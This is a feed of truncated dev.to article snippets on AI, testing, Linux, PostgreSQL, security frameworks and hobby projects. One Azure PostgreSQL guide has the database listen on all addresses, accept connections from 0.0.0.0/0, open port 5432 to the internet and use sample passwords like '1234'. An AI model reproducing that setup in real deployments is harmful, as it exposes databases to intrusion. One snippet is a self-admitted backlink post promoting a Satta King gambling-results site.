    The era of basic bots and rule-based automation is coming to an end. What’s next? Agentic AI—a more autonomous, intelligent, and context-aware evolution of artificial intelligence that’s rapidly disrupting how businesses handle repetitive tasks. According to early enterprise case studies and developer trends, Agentic AI is set to replace over 80% of low-level automation tools in the next few years. Agentic AI refers to artificial intelligence systems that operate with goal-driven autonomy, meaning they can plan, act, self-correct, and complete complex tasks without human micromanagement. Unlike traditional AI agents that follow pre-set scripts or workflows, agentic AI tools proactively make decisions based on context and dynamic input. Think of it as the difference between: A robot that fo…  ( 7 min )
    ML guide for a beginner?
    Hey guys! , Hope you're doing well! I'm working on a machine learning project related to mental health, and I could really use your input. It's about detecting early signs of mental health of a student with the help of their grades, assignment submission frequencies, and also the way they are present in class and labs, and I think your perspective or help would be super valuable. If you're up for it, maybe we can chat sometime soon? Let me know!  ( 5 min )
    🔍 AI, No-Code & Developer Productivity: Key Trends Every Dev Should Watch
    In this fast-evolving tech landscape, staying current isn’t just beneficial—it’s essential. Here are 3 major trends from August 1, 2025, shaping the way we design, secure, and optimize software. Whether you’re a full-stack engineer, AI enthusiast, or security-conscious developer, these insights are worth your attention. Google's new Opal platform introduces an experimental way to build AI apps without writing a single line of code. 🧠 What It Does: Use natural language and a visual editor to chain AI prompts, models, and logic blocks. Generate mini-apps (e.g., quizzes, media converters) using starter templates. Ideal for rapid prototyping, internal demos, or AI experimentation. 💡 Developer Insight: democratize development and shift the prototyping stage away from engineering. As a full-st…  ( 6 min )
    Danny Maude: Before You Hit a Bunker Shot, Do This (Takes 5 Seconds)
    Danny Maude cuts through the confusion around greenside bunker shots with a lightning-fast, 5-second drill that helped two beginners escape sand traps with confidence in under three minutes. Instead of scooping or trying to “help” the ball out, he teaches you to trust the club’s loft, set up for a consistent low point and let the sand launch the ball naturally. By focusing on rhythm, sand depth and even the thud of your strike, you’ll stop thinning or fatting the ball, control distance on both short and long bunker shots, and build lasting confidence in your short game—in just a few minutes of practice. Watch on YouTube  ( 5 min )
    Manual Testing Guide for Product Testing
    Manual Testing Guide: Key Techniques, BVA, Decision Tables & What’s Next with AI Common manual testing techniques What is Boundary Value Analysis (BVA)? What is Decision Table Testing? The future of manual testing with AI tools Let’s understand the topics: Common Manual Testing Techniques Manual testing means testing software without using automated tools or scripts. Instead, testers go through the applications/product step-by-step like an actual user would. Here are some popular manual testing methods: 1.1 Exploratory Testing In exploratory testing, you don’t follow a fixed test script. Instead, you explore the application/product freely based on your own understanding, checking if everything works and looks right. You learn the app as you test it. Why use it? • Helps find unexpected …  ( 8 min )
    Voice News Summary - AI-Powered News Summaries Read Aloud in Seconds with Redis
    This is a submission for the Redis AI Challenge: Beyond the Cache. Voice News Summary solves a common problem: information overload. Reading through dozens of articles every day can be time-consuming, and not everyone has time to skim long news posts. This app lets users type any topic, get an AI-generated summary of the latest news, and listen to it immediately. AI-Generated Summaries: Uses OpenAI GPT to produce concise, high-quality summaries. Text-to-Speech Output: Converts summaries to natural-sounding voice with ElevenLabs TTS. Redis Caching: Speeds up subsequent requests by storing summaries and audio URLs in Redis. Serverless Deployment: Built on Next.js and deployed on Vercel for fast, scalable delivery. Clean UI: Built with TailwindCSS for a minimal and responsive design. Frontend…  ( 6 min )
    A Guide for Creating a Linux Server VM on Azure & Installing PostgreSQL
    This guide covers: Creating a Linux VM on Azure Installing PostgreSQL Configuring PostgreSQL for local and remote access Active Azure subscription Access to Azure Portal SSH client (Linux on Windows) Navigate to: https://portal.azure.com Go to "Virtual Machines" Click "+ Create" > "Azure virtual machine" 2. Configure VM Basics Subscription: Choose your active subscription ( subscribe if you do not have an active subscription) Resource Group: Create/select one VM Name: e.g., linux-postgres-vm Region: Closest to your location Image: Ubuntu 22.04 LTS Size: e.g., Standard B1s Authentication: - SSH public key (recommended) Password:e.g, 1234 Username: e.g., myLinuxServer SSH public key: Paste your public key if using SSH You can generate one using: ssh-keygen -t rsa -b 2048 Public IP: Enabled NSG (firewall): Allow SSH (port 22) Click "Review + create" then "Create" 🔌 Part 2: SSH into the VM ssh azureuser@ sudo apt update && sudo apt upgrade -y sudo apt install postgresql postgresql-contrib -y sudo systemctl enable postgresql sudo systemctl start postgresql sudo -i -u postgres psql CREATE ROLE e.g, myPostgres WITH LOGIN PASSWORD e.g, '1234'; ALTER ROLE myPostgres CREATEDB; CREATE DATABASE student OWNER myPostgres; \q exit sudo nano /etc/postgresql/15/main/postgresql.conf Find: listen_addresses = 'localhost' Change to: listen_addresses = '*' sudo nano /etc/postgresql/15/main/pg_hba.conf Add this line: host all all 0.0.0.0/0 md5 Go to Azure portal > VM > Networking Click "Add inbound port rule" Port: 5432 Protocol: TCP Action: Allow sudo systemctl restart postgresql From your local pc: psql -U myPostgres -d student -h -p 5432 Or use GUI tools such as DBeaver. Your Linux VM is now running PostgreSQL and ready to accept connections.  ( 6 min )
    How I Built a Real Estate Website That Earns Income While Solving a Local Problem
    One of the most powerful things a developer can do is build something that solves a real-world problem — especially one close to home. I recently launched a side project called bazarrealestate.com. It’s a real estate platform designed to help Syrians — especially those returning after years of war — find homes quickly, safely, and more easily. In just our first month, it’s already proving that even small, local software can make a difference… and generate income too. This isn’t a startup pitch. It’s a real story about how a Laravel-powered project is helping me earn recurring income — and how you can do something similar. What the Website Actually Does bazarrealestate.com is a simple, direct real estate listing platform: Homeowners can list their homes for sale or rent Users browse availab…  ( 8 min )
    OpenAI Pulls ChatGPT Search‑Index Feature A Critical Follow‑Up
    ⚠️ This article is a follow-up to our investigation: Exposed: Google is Indexing Private AI Conversations — Here’s What You Should Know The privacy risks we warned about are now unfolding in real-time. OpenAI quietly reversed a controversial ChatGPT release that allowed shared conversations to become searchable by Google and other search engines. The rollback highlights not just a privacy breach, but a deeper failure in user experience design—and reinforces why thoughtful automation and clear defaults matter more than ever. OpenAI quietly reversed a controversial ChatGPT release that allowed shared conversations to become searchable by Google and other search engines. The rollback highlights not just a privacy breach, but a deeper failure in user experience design—and reinforces why thoug…  ( 8 min )
    Symfony et Shadcn/ui
    Hi guys ! J'espère que vous avez tous vu les nouveaux kits de démarrage de Laravel avec Inertia, React et Shadcn/UI. C'est beau...compliqué mais beau. Suite à mon précédent article React dans Symfony avec Vite je me suis demandé pour les besoin d'un projet comment faire un front en React avec Shadcn/UI et un backend Symfony. Quelques précisions : ici on va utiliser une structure "Fullstack" (tout dans le même projet) alors qu'on pourrait coder un front en React isolé et juste le backend en Symfony. Pour des raisons de simplicité, notamment pour la gestion de l'authentification, c'est beaucoup plus simple de faire comme ça. Mais au final, notre front et notre back vont bien communiquer via des API REST comme si ils étaient isolés. Allez c'est parti ! Je ne vais pas refaire le tuto. Créez vo…  ( 9 min )
    Behind the Scenes of Your Files: Why Inodes Are the Real Story in Linux
    When you open a file in Linux, you're seeing just the tip of the iceberg. Beneath the surface is a structure called an inode—and understanding how it works is the key to making sense of hard links, soft links, and what really happens when you rename or delete a file. An inode is a hidden record in the Linux file system that stores everything about a file except its name. It holds details like: Where the file’s content lives on the disk The file’s size and timestamps Ownership and permissions Each file has a unique inode number. Think of it as the file’s true identity. The name you see in a folder is just a label that points to it. Creating a hard link is like putting a second label on the same package. Both names point to the same inode. That means they’re actually the same file. If…  ( 6 min )
    GSoC 2025 - Week 8: Designing Serial Port Component and Real Hardware Demo
    Week 8 began with our second meeting with Prof. Gargi Khanna, joined by my mentor Aman Asrani. We showcased the improvements made to previously added components based on feedback from the first meeting. We then brainstormed the design of the Serial Port component, and were joined by Vivek Rao, who provided insightful inputs that greatly enriched the discussion. During the discussion, we explored how a Serial Port component could enable educational simulations involving real hardware. The conversation highlighted several practical use cases and helped refine the expectations for the component's interface and user experience. One of the most informative parts of the session was the detailed discussion around the bit width property of the components give in circuit simulators. Following thes…  ( 6 min )
    🌐 Cloud Computing Basics: 7 Key Concepts You Should Know
    Cloud computing has revolutionized how we deploy, manage, and scale services. Whether you're in IT support, aiming for a career in cloud security, or just curious about the landscape—grasping these foundational concepts can sharpen your edge. Let's break them down. 1. Virtualization Virtualization is the process of creating a virtual version of something, like a server, storage device, or network. It's the technology that allows multiple virtual machines (VMs) to run on a single physical server, which dramatically optimizes resource usage and provides isolation. Think of it as a single computer being able to run several other computers inside of it, each with its own operating system and applications. 2. Scalability Scalability refers to a system's ability to handle an increased worklo…  ( 7 min )
    🔥 FizzBuzz Challenge On Python
    🔥 Problem-Solving with Python : FizzBuzz Challenge FizzBuzz is a classic test to check basic logic and loop handling. I’ve solved it using a simple while loop. Here’s the breakdown: 🔸 Replace multiples of 3 with "Fizz" 🔸 Replace multiples of 5 with "Buzz" 🔸 Replace multiples of both with "FizzBuzz" Shortly--> 🔁 Loop from 1 to 100 🧠 If divisible by 3 → Fizz ⚡ If divisible by 5 → Buzz 🚀 If both → FizzBuzz code--> 💻 It may seem easy, but it’s a great warm-up to improve your problem-solving mindset. More coming soon — stay tuned! 🙏 Thanks for reading! 🚀 Follow for more Python problem-solving tips! — #CodeWithMe #StayCurious  ( 5 min )
    How to Use Hookdeck.com to Test and Debug Webhooks
    With the introduction of more easily accessible no-code tools like N8N, webhooks have become a "must-have" when deciding which service to choose. But then you have to test what they return! This piece aims to help with that. What Is a Webhook and How Does It Work? Real-World Webhook Examples FormBear Stripe GitHub Testing Webhooks with Hookdeck: Step-by-Step Step 1: Set Up Your Hookdeck Project Step 2: Create an Event Source Step 3: Get Your Webhook URL Step 4: Send Test Webhooks Step 5: Monitor and Debug Advanced Hookdeck Features Conclusion Webhooks are the backbone of modern web applications, enabling real-time communication between services. But testing and debugging them can be a nightmare, especially when you're dealing with thir…  ( 9 min )
    Deploy Applications Across Multiple Clusters with RHACM + GitOps
    As organizations scale Kubernetes across environments—on-prem, cloud, and edge—managing application deployments gets tricky. You need consistency, control, and visibility. That’s where Red Hat Advanced Cluster Management (RHACM) and GitOps come together to simplify multicluster application management. 🧩 What is RHACM? 🔄 Why GitOps? ✅ Consistent application rollout across clusters ✅ Version-controlled deployments ✅ Fast rollback and recovery ✅ Less manual error 🛠️ How Multicluster App Deployment Works with RHACM + GitOps Use RHACM to Deploy the App A single cluster A group of clusters (based on labels, location, or environment) Apply Placement Rules Sync and Monitor 🌍 Use Cases for Multicluster App Deployments Promoting apps across clusters (dev → test → prod) Centralized policy-driven rollouts Cluster-specific overrides (like custom configs per region) ✅ Benefits You Get Git-powered rollback, promotion, and change history Compliance with policy-based governance Less risk and manual intervention in production 💡 Final Thought It’s not just about deploying apps—it’s about doing it the right way at scale. For more info, Kindly follow:Hawkstack Technologies  ( 6 min )
    From Zero to SEO: My Journey with Building a Live Satta King Result Site
    How I Built a Live Result Tracker Website Using PHP and MySQL Recently, I developed a fully functional real-time result publishing platform using core PHP and MySQL — inspired by the need for live updates, backend control, and SEO optimization. Here's a breakdown of how I built it and what I learned. Live result updates with admin control Monthly result charts using dynamic tables CSV upload for bulk updates Custom SEO meta tags and structured schema Real-time cron job-based auto-refresh Backend: Core PHP + MySQL Admin Panel: Bootstrap + jQuery Frontend: Responsive HTML with SEO-optimized structure Extras: Google Tag Manager, OG tags, robots.txt, sitemap.xml Structured data and internal linking can massively boost indexing Admin simplicity saves hours weekly in content updates Free backlink strategies (like this post) actually work when you provide value I documented everything on my site here: 👉 Check the full implementation here If anyone's interested in a starter template (non-Satta), I can share a stripped version. Just comment or DM. Have you built a live dashboard or similar system? Let’s exchange tips. Note: This post is for educational/technical purposes. The implementation can be used for games, polls, or any real-time update need.  ( 5 min )
    One Bug, Many Faces: Understanding Every Type of Race Condition Vulnerability
    What is Race Condition Imagine that you are planning to go to a movie at 5 pm. You inquire about the availability of the tickets at 4 pm. The representative says that they are available. You relax and reach the ticket window 30 minutes later, but then to your horror all the tickets get sold. The problem here was in the duration between the check and the action. You inquired at 4 and acted at 4:30. In the meantime, someone else grabbed the tickets. That's a race condition. Technically speaking, Race condition occurs when multiple threads read and write the same variable i.e. they have access to some shared data and they try to change it at the same time. In such a scenario threads are “racing” each other to access/change the data. This is a major security vulnerability where an attacker c…  ( 16 min )
    dual-personality AI chatbot
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. What I Built Demo My Experience  ( 5 min )
    Visualizing Work with Kanban: A Lean Approach to Flow Efficiency
    Ever felt like your team is busy all the time, but nothing seems to get done? flowing — and that’s exactly where Kanban steps in. In the world of web development, SEO, UI/UX, and IT consulting, where juggling multiple clients, revisions, or code deployments is daily business, visual clarity and flow efficiency can be your secret weapons. Let’s explore how Kanban can transform your chaotic backlog into a streamlined, value-delivering system. Kanban isn’t just a board with sticky notes. It’s a Lean-based system designed to manage and improve work across teams. At its core, Kanban emphasizes: Visualizing work Limiting work in progress (WIP) Managing flow Making process policies explicit Implementing feedback loops Improving collaboratively 👉 Read the official Kanban guide for a deeper under…  ( 7 min )
    How to Structure Your Tests Using AAA (Arrange / Act / Assert)
    When writing Unit or Feature tests in Laravel, one of the most effective ways to keep your tests clean and easy to follow is by using the AAA pattern. AAA stands for: Arrange : Set up your data and dependencies Act : Execute the behavior or function you want to test Assert : Verify that the result matches your expectations This structure makes your tests: Easier to read Easier to maintain Easier to debug It helps you avoid writing "messy" tests where setup, execution, and assertions are all mixed together. By clearly separating the 3 phases of testing, you're more likely to catch bugs early, understand what each test is doing at a glance, and maintain consistency across your codebase. Here’s a simple Feature Test example following the AAA pattern: public function test_run_todo_show(): void { // Arrange $todo = Todo::factory()->create(); // Act $response = $this->get("/todos/{$todo->id}"); // Assert $response->assertStatus(200); $response->assertViewIs('todos.show'); $response->assertSee($todo->title); } The AAA pattern stands for Arrange, Act, Assert. It separates test setup, execution, and verification for clarity and maintainability. This structure improves readability, consistency, and debugging.  ( 5 min )
    PostgreSQL Installation and Setup on a Linux Server
    Introduction Prerequisites A Linux server (we'll cover Ubuntu/Debian and RHEL/CentOS) Sudo or root privileges Basic command line knowledge Installation For Ubuntu/Debian Systems Update your package lists: bash bash Verify installation: bash For RHEL/CentOS Systems Enable the PostgreSQL repository: For CentOS/RHEL 7: bash https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm bash https://download.postgresql.org/pub/repos/yum/reporpms/EL-8-x86_64/pgdg-redhat-repo-latest.noarch.rpm ** Install PostgreSQL: ** sudo yum install postgresql12-server postgresql12-contrib sudo dnf install postgresql12-server postgresql12-contrib bash bash bash bash sql sql sql bash Find and uncomment/modify: text bash text bash sql bash sudo apt update && sudo apt upgrade postgresql sudo yum update postgresql12-server bash bash bash bash bash For production environments, consider additional configurations like: Setting up regular backups Configuring replication for high availability Tuning PostgreSQL parameters for your specific workload Implementing monitoring solutions PostgreSQL's extensive documentation (https://www.postgresql.org/docs/) is an excellent resource for further configuration and optimization.  ( 6 min )
    How Neural Networks Work: A Comprehensive Guide
    Neural networks are a cornerstone of modern artificial intelligence (AI), enabling machines to perform tasks such as recognizing images, understanding speech, and making decisions. Inspired by the structure and function of the human brain, neural networks consist of interconnected nodes, or "neurons," that process information and learn from data. This article explores the mechanisms behind neural networks, explaining their structure, how they process data, and how they learn, with a focus on making these concepts accessible to a general audience. Weights: Each input is assigned a weight, a numerical value that determines its importance. Weights can be positive (amplifying the input) or negative (diminishing it). Mathematically, the output of a neuron is expressed as: ( x_1 ): Is it a weeke…  ( 10 min )
    YAML: A Beginner’s Introduction
    YAML (Yet Another Markup Language or YAML Ain’t Markup Language) is a human-readable data serialization standard that’s commonly used for configuration files, data exchange, and storing structured data. It’s designed to be easy to read and write, making it popular for DevOps, applications configuration, and data representation. Let’s see how the same data looks in different formats: John Doe 30 Python JavaScript { "person": { "name": "John Doe", "age": 30, "languages": ["Python", "JavaScript"] } } person: name: John Doe age: 30 languages: - Python - JavaScript As you can see, YAML is much cleaner and easier to read! …  ( 8 min )
    Core Concepts in Web3
    Preface As a senior front-end developer in the Web2 world, I am transitioning into web3 recently. Although I have heard many times about blockchain, wallet, decentralization etc. frankly, I only had a surface-level understanding before. Now, I have learned these foundational concepts: decentralization, ledger, wallet, blocks, pow, pos, nodes, Transactions. In the web2 world, we rely on centralized applications or systems. For instance: Whats app, Github store all data stored on centralized servers. Decentralization means there is no single point of control. In the web3 World every node can validate, record and propagate data. No centralized server has exclusive control; instead, consensus mechanisms define all data and rules. As result, I realized that decentralization is not only techni…  ( 9 min )
    Arch Linux - How To Get Volume On Screen Display with XFCE Desktop Environment
    This is a very common scenario on Arch Linux, especially if you're not using a full-featured desktop environment like GNOME or KDE Plasma. On Arch, the philosophy is to provide the user with a minimal system and let them build it up with the components they want. The volume OSD (on-screen display) is not a core part of the system; it's a feature of your desktop environment or a separate utility you need to install and configure. Here's a breakdown of why this happens and how to fix it, depending on your setup: If you're using a window manager instead of a full desktop environment, the volume keys on your keyboard are likely not configured to do anything by default, or they are only configured to change the volume without sending a notification. Solution: Install and configure a volume noti…  ( 7 min )
    Prototype Design Pattern in Java: Clone Like a Pro!
    Introduction Have you ever found yourself writing the same object instantiation logic over and over again — just to get similar copies with minor differences? The Prototype Design Pattern solves this by letting you clone existing objects instead of creating new ones from scratch. It's like photocopying a document instead of writing it all over again. The Prototype Pattern is a creational design pattern. It allows you to create new objects by copying an existing object (prototype), instead of building one using a constructor. ✅ Ideal when object creation is costly (due to time, complexity, or resource usage), or when you need many similar objects with small variations. Imagine a resume builder website. You create your resume layout, style, and sections once, and then clone it to generate …  ( 8 min )
    Introducing Niceshot - Turn your boring screenshots or images into stunning visuals
    Hey 👋 Over the past few days, I’ve been working on a project called Niceshot (https://www.niceshot.fun/). It’s a simple web app that helps you take plain screenshots or images and give them a polished, professional look in seconds. Here’s a quick overview of what it does: 🛠️ Features Add gradient backgrounds (choose from presets or customize) 50+ beautiful background images (MacOS, nature, abstract, patterns) Upload your own or import a background image via URL Adjust image opacity for that soft-touch aesthetic Pick aspect ratios suited for social media (LinkedIn, Twitter, etc.) Add text with various fonts, custom colors, and drop shadows It’s perfect for devs, indie hackers, marketers, or anyone who shares visuals online. No need to open Figma or Photoshop for basic mockups anymore. Would love to hear your thoughts or suggestions! https://www.niceshot.fun/) DEMO IMAGES: Let me know what you think — happy to answer any questions!  ( 5 min )
    Secure Your Android App with Biometric SDK in 5 Minutes 🔐 (Kotlin)
    🔐 Biometric SDK for Android A production-grade biometric authentication SDK designed for apps that demand trust. Ideal for fintech, banking, e-wallets, secure messaging, parental control, or any app requiring identity protection and transaction-level security. This SDK simplifies AndroidX biometric integration with modern Kotlin practices, supporting: Fingerprint Face Unlock Device Credential fallback (PIN/Pattern/Password) authentication reliability is non-negotiable. 🚀 Key Features ✅ Seamless integration with AndroidX Biometric APIs ✅ Supports Fingerprint, Face, and Device Credential fallback ✅ Designed for fintech, banking, and high-trust apps ✅ NOT_ENABLED, ENABLED_AND_MANDATORY, ENABLED_BUT_NOT_MANDATORY auth modes ✅ Lifecycle-safe: no biometric prompts while app is …  ( 7 min )
    Mastering the Scrum Framework: Roles, Events & Artifacts
    Let’s be honest — most teams say they follow Scrum, but in reality, it's Scrum-ish at best. Stand-ups turn into status reports, sprints feel like marathons, and retros? Well… they’re often skipped altogether. But when done right, Scrum can completely transform how your team works. Faster delivery, better collaboration, and most importantly — happier developers and stakeholders. Let’s decode Scrum in a way that’s practical, simple, and actually makes you want to apply it. Must Understand Scrum isn’t chaos. It’s a well-defined framework with clearly assigned roles, and messing these up is the first step toward failure. Product Owner Represents the customer Owns the product backlog Prioritizes what needs to be built next Defines “what” needs to be done Scrum Master Coach, not a boss …  ( 7 min )
    The Silent War on Cash: Why We Must Fight for Our Right to Pay Anonymously
    Goal: 1,000,000 signatures by October 2025. The danger lies in the fact that the benefits of digitalization (convenience) are immediately obvious in the short term, while the disadvantages (loss of control, surveillance, vulnerability) manifest gradually and possibly irreversibly. A society that carelessly gives up its freedom for a little more comfort might one day discover that it has lost both. Cash is more than just paper and metal; it is a cornerstone of personal freedom, privacy, and economic resilience. Yet, this fundamental tool is under a quiet but relentless attack. While few politicians openly call for an outright ban, a gradual, systemic phasing-out is underway. This process, driven by technological convenience and political interests, is rapidly accelerating and threatens to c…  ( 9 min )
    Stop Rewriting Address Logic Laravel Addressable
    Stop Rewriting Address Logic in Laravel — Meet Addressable A reusable, elegant address management system for Laravel apps, powered by a single trait. As a Laravel developer, you've probably rewritten country/state/city/zip logic across projects. Addressable puts an end to that repetition with a Laravel-native package. 🔁 HasAddress Trait – plug & play address support 🌍 Global address handling (no country lock-in) 🧩 Polymorphic relationships – attach to any model 📦 Composer installation: composer require awalhadi/addressable 🧪 Lightweight, clean, Laravel 10+ ready 💻 Compatible with Blade, Vue, and Inertia UIs 🧑‍💻 Usage Example // In your Eloquent model use HasAddress; class Customer extends Model { use HasAddress; } // Later, in your controllers or se…  ( 6 min )
    Method Overloading and Constructors in Java...
    What is a Constructor in Java? A constructor is a special method that is used to initialize objects in Java. It has the same name as the class and does not have a return type—not even void. Called automatically when an object is created. Can be overloaded (just like methods). Used to assign initial values to object properties. class Car { String model; // Constructor Car(String m) { model = m; } } In the above example, when you create a Car object with new Car("Toyota"), the constructor sets the model. Method overloading allows a class to have more than one method with the same name, but different parameter lists (type or number of parameters). Increases readability of the program. Compiler determines which method to call based on arguments. Return type can be different, but it’s not enough to overload a method just by changing the return type. class Calculator { int add(int a, int b) { return a + b; } double add(double a, double b) { return a + b; } int add(int a, int b, int c) { return a + b + c; } } Here, the method add is overloaded three times with different parameter combinations. Just like methods, constructors can also be overloaded to provide different ways to initialize an object. class Student { String name; int age; Student() { name = "Unknown"; age = 0; } Student(String n, int a) { name = n; age = a; } } This allows flexibility: you can create a student with default values or provide specific values. For more detailed information, always refer to the official Java documentation: Java Language Specification – Constructors Java Tutorials – Overloading Methods  ( 6 min )
    Why NISTIR 8286 Matters for Cybersecurity and Business Teams
    Full blog post: How NISTIR 8286 Connects Cybersecurity and Business Risk Most companies manage cybersecurity separately from other business risks. But that’s a problem — because tech failures can have real business impact. NISTIR 8286 solves this by helping teams connect cyber risks with enterprise risk management (ERM). This makes sure everyone — from IT to executives — is on the same page. NISTIR 8286 is a guide from the National Institute of Standards and Technology. It shows how to include cybersecurity threats in broader risk plans. Instead of handling cyber risks in isolation, you link them to goals like uptime, customer trust, legal compliance, and revenue protection. 📄 Read the full NISTIR 8286 PDF With NISTIR 8286, teams can: Describe risks in clear, business-friendly terms Log c…  ( 6 min )
    How Developers Can Use NISTIR 8286 to Improve Risk Visibility
    Original post: How NISTIR 8286 Connects Cybersecurity and Business Risk Most teams track bugs. Some track performance. But few track cyber risks in a way that connects with business goals. That’s where NISTIR 8286 comes in. This isn’t a compliance checklist. It’s a guide that helps teams — including devs — surface risks early, share them clearly, and show how they matter to the company. NISTIR 8286 is a framework from the National Institute of Standards and Technology. It helps organizations link their cybersecurity risks to their enterprise risk management (ERM) systems. Instead of siloed risk reporting, this method puts cyber risks alongside business risks — like legal, financial, and operational ones. 📄 Read the official NISTIR 8286 PDF As a developer, you’re not just writing code. You…  ( 6 min )
    Dev-Friendly NISTIR 8286 Guide for Cyber & Enterprise Risk
    Managing risk isn't just a leadership task anymore. Developers and security teams are involved too — especially when cyber risks affect business goals. NISTIR 8286 is a framework that connects cybersecurity risks to enterprise risk management (ERM). It helps teams speak the same language and manage risks together. Here’s what you need to know, explained simply. NISTIR 8286 stands for National Institute of Standards and Technology Interagency Report 8286. It's a guide that shows how to link cybersecurity risks to the overall business risk plan. This helps when your organization uses ERM and wants to include digital threats, system failures, and tech incidents in that process. 📄 Read the official NISTIR 8286 document Cybersecurity affects everything — the APIs you write, the cloud you confi…  ( 6 min )
    What tech stacks do you guys use ?
    I asked this question a few years ago, but while revisiting my old blog posts, I got curious again: what tech stacks do you use for web development these days?  ( 5 min )
    InvoiceMint — A Blockchain-Backed Invoicing App Built with Python and Bulma
    💡 InvoiceMint — Blockchain-Powered Invoicing for Modern Founders As a solo founder building BizSuit, I realized something early — managing finances isn’t just about generating invoices. It’s about accountability, ownership, and security. That’s why I built InvoiceMint, a blockchain-inspired invoicing tool with a clean UI, Python backend, and printable output — all working together to help you run your solo business like a pro. InvoiceMint is a web app that lets you: Create professional, printable invoices Securely store each invoice in a blockchain-style ledger Run everything using a lightweight Python + Flask backend Style everything with beautiful, responsive Bulma CSS All with one goal in mind: speed and transparency. Here’s what powers InvoiceMint under the hood: Layer Tech …  ( 7 min )
    Kai'on prime
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    What Is an ARM SBC and Why Is It Ideal for Embedded Design?
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    External Tables | File Management
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    Earl bahasa pemrograman favoritku
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    Title: Lessons Learned: Tracy Young on Building TigerEye
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    tree command a utility used to display the contents of directories in a tree-like, hierarchical format. tree command may not be pre-installed on all Linux distributions. To install it use # Debian/Ubuntu sudo apt install tree # Display current directory tree # Display a specific directory tree /path/to/directory Use -d to show only directory cheulong@master-node:~/parent$ tree -d . ├── child1 ├── child2 ├── child3 ├── child4 └── child5 Use -f to show full path prefix for each file cheulong@master-node:~/parent$ tree -f . ├── ./child1 │   └── ./child1/text.txt ├── ./child2 ├── ./child3 ├── ./child4 └── ./child5 Use -p to show permission for each file cheulong@master-node:~/parent$ tree -p [drwxrwxr-x] . ├── [drwxrwxr-x] child1 │   └── [-rw-rw-r--] text.txt ├── [drwxrwxr-x] child2 ├── [drwxrwxr-x] child3 ├── [drwxrwxr-x] child4 ├── [drwxrwxr-x] child5 └── [-rw-rw-r--] file Use -L <level to limit the display depth to a specified level. cheulong@master-node:~/parent$ tree -L 1 . ├── child1 ├── child2 ├── child3 ├── child4 ├── child5 └── file Use -sh to show size for each file cheulong@master-node:~/parent$ tree -sh [4.0K] . ├── [4.0K] child1 │   └── [ 0] text.txt ├── [4.0K] child2 ├── [4.0K] child3 ├── [4.0K] child4 ├── [4.0K] child5 └── [ 225] file -a: Include hidden files and directories (those starting with a dot). Leave a comment if you have any questions. =========== Please keep in touch Portfolio Linkedin Github Youtube  ( 6 min )
    Earl bahasa yang memudahkan
    Kita mendengar kata mudah yang persamaan gampang, namun bukan menggampangkan. Antonim mudah adalah sulit, sulit sinonimnya susah. Mendengar kedua kata ini, menjadikan Saya menulis menjadi mudahkah Earl itu atau apakah sebenarnya mempersulit orang. Aww.. Saya melihat sintaks format ini tidak... Sintaks format macam seperti apa ini Tidak bisa, aku tidak bisa Laptop aku butuh laptop Itukah yang Anda maksud, kalau tidak lupakan saja. Dirasa Saya tidak mengerti mengapa Earl bisa membuat orang terasa sulit mempelajari Earl, apakah dia baru, apakah dia benar-benar sangat baru hingga masih sama saja baru sehingga orang masih bingung menyadari keberadaan Earl. Hei! Earl baru meluncur beberapa bulan normal saja. Earl tidak ada yang sulit, itu bukanlah tujuan Earl diciptakan sebenarnya untuk, Earl adalah bahasa pemrograman yang Saya rancang untuk mempermudah, baik itu format sintaks, bahasanya, dan cara membaca keluarannya. Earl itu sendiri bukanlah hal yang sulit bagimu, namun biasanya "sulit" ini adalah kata yang kamu kejar saja sama halnya omong kosong, tidak ada gunanya. Mudah itu Earl, Earl itu Mudah, tidak berbohong dan tidak sombong, namun jujur dan sederhana dalam format sintaks. Pembuktiannya mari kita lihat dari segi penulisannya dalam kode yang paling mendasar dahulu: -- Variabel :x: di setel ke 7 -- atur :x: = 7 /-- Kode ini adalah Bagian dari Earl tentang perintah perulangan --/ ulangi :x: tampilkan "Diulangi selama 7 kali" selesai Dari sini kita melihat bahwa "mudahnya" Earl itu, Bahasa Indonesia Perintah bersifat kata kerja Sintaks mudah diingat Mirip bahasa Python dan Ruby Sudahkah Anda tahu? Benarkan bahwa Earl itu "mudah" bukan "mempersulit", selain Anda bisa mempelajari Earl manfaat lainnya Anda bisa menggunakannya sebagai task kecil-sedengan sehari-hari, produktivitas, aplikasi gim, membangun aplikasi berbasis terminal, dan manfaat lainnya masih ada. Tautan yang mungkin membantu Anda untuk mencoba mengujinya, berkreasi, dan membangun, cobalah di https://github.com/aflacake/earl-lang.  ( 6 min )
    Apple ][ Text on Mini Micro!
    The Apple 2 (usually written Apple ][) computer was one of the first widely popular home computers. At the time, most home computers came as kits and included no keyboard or text display; you got some switches for input and blinky lights for output, and if you really wanted to spend some cash, you got a teletype machine to go with it. So when Steve Wozniak designed an affordable home computer that actually came with a full keyboard and glowing green screen, people got pretty excited! The first computer in my house was actually a TI-99/4A (on sale for $50 at K-Mart), but we quickly outgrew that, and got an Apple //e, which served us well for years. Recently I found myself feeling a bit nostalgic for that old green screen, and decided to see if I could recapture some of its look and feel …  ( 10 min )
    Once we were programmers. Now, we assemble frameworks.
    🧩 What Microsoft Lost 🧠 The Pedagogy of Constraint Then: The environment was austere. The compiler unforgiving. Memory was scarce. Every line of code had to justify its existence. Learning to program meant learning to think with precision—not copying recipes. Now: The environment suggests, autocompletes, abstracts. Modern IDEs like Visual Studio and VS Code offer solutions before the problem is even understood. A novice developer can build without comprehension, and the environment shields them from the friction that once taught discipline. What was lost: Friction was formative. Constraint was a teacher. Today, the environment facilitates—but no longer educates. The pedagogy of constraint has been replaced by the comfort of assistance. 🛠️ The Identity of the Programmer Then: The programmer was a craftsman. They knew the compiler, the linker, the debugger. They understood how bits moved, how the stack was managed, how to optimize a loop. Every tool was an extension of their mind. Now: Many are framework assemblers. They copy structures, import dependencies, and trust the ecosystem to resolve everything. Code becomes collage—not composition. What was lost: The programmer’s identity as a technical author. Today, the framework takes center stage—not the thought behind the code. The art has been diluted by convenience. ⚙️ The Honesty of the Compiler Then: The compiler was direct. If something failed, it was your fault. The message was clear, the origin traceable. The debugger took you to the bone—no anesthesia. Now: The modern compiler is wrapped in layers. If something fails, the message points to a dependency, an abstraction, an asynchronous context no one understands. The error is no longer yours—it belongs to the system. What was lost: Technical responsibility. The programmer once faced their errors. Today, errors dissolve into architecture. The compiler no longer teaches—it confuses with elegance.  ( 6 min )
    Practical Skyline Queries in Go
